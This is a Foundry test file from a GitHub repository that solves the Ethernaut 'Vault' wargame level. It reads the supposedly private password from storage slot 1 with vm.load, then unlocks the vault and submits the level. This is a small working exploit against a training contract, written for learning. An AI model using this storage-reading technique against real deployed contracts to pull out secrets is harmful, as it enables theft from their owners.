-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathVault.t.sol
35 lines (29 loc) · 1.06 KB
/
Vault.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/8-Vault/VaultFactory.sol";
import "../src/Ethernaut.sol";
contract VaultTest is Test {
Ethernaut ethernaut;
address eoaAddress = address(100);
function setUp() public {
ethernaut = new Ethernaut();
vm.deal(eoaAddress, 5 ether);
}
function testVaultHack() public {
// Level setup
VaultFactory vaultFactory = new VaultFactory();
ethernaut.registerLevel(vaultFactory);
vm.startPrank(eoaAddress);
address levelAddress = ethernaut.createLevelInstance(vaultFactory);
Vault ethernautVault = Vault(payable(levelAddress));
// Level attack
bytes32 password = vm.load(levelAddress, bytes32(uint256(1)));
emit log_named_bytes32("Password", password);
ethernautVault.unlock(password);
// Level submission
bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress));
vm.stopPrank();
assert(levelSuccessfullyPassed);
}
}